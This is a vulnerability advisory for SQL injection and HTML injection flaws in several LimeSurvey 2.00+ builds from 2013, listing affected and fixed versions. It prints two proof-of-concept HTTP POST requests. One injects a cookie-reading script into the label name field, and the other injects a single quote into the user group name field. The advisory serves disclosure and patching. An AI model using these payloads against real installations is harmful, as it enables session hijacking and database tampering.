LimeSurvey 2.00+ SQL Injection and HTML Injection Vulnerabilities

Bugtraq ID:	63919
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 23 2013 12:00AM
Updated:	Nov 23 2013 12:00AM
Credit:	LiquidWorm
Vulnerable:	LimeSurvey LimeSurvey 2.00+ build 131107 LimeSurvey LimeSurvey 2.00+ build 131031 LimeSurvey LimeSurvey 2.00+ build 131022 LimeSurvey LimeSurvey 2.00+ build 131009
Not Vulnerable:	LimeSurvey LimeSurvey 2.00+ build 131122

LimeSurvey 2.00+ SQL Injection and HTML Injection Vulnerabilities

An attacker can exploit these issues through a browser.

The following example data is available:

POST /limesurvey/index.php/admin/labels/sa/process HTTP/1.1
Host: www.example.com
Accept: */*
Accept-Language: en
User-Agent: joxypoxy/1.0
Connection: close
Referer: http://www.example.com/limesurvey/index.php/admin/labels/sa/newlabelset
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Cookie: PHPSESSID=dqbs2pqhq9f2ckn24rreja1sl1

label_name=Zero+Science+Lab"<script>alert(document.cookie)</script>&additional_languages=he&action=insertlabelset&languageids=he&available_languages=am


POST /limesurvey/index.php/admin/usergroups/sa/add HTTP/1.1
Host: www.example.com
Accept: */*
Accept-Language: en
User-Agent: joxypoxy/1.0
Connection: close
Referer: http://www.example.com/limesurvey/index.php/admin/usergroups/sa/add
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Cookie: PHPSESSID=dqbs2pqhq9f2ckn24rreja1sl1

group_name=Zero+Science+Lab'&action=usergroupindb

LimeSurvey 2.00+ SQL Injection and HTML Injection Vulnerabilities

References:

• LimeSurvey Homepage (LimeSurvey)
  
• LimeSurvey Latest stable release (LimeSurvey)
  
• LimeSurvey v2.00+ (build 131107) Script Insertion And SQL Injection Vulnerabilit (LiquidWorm)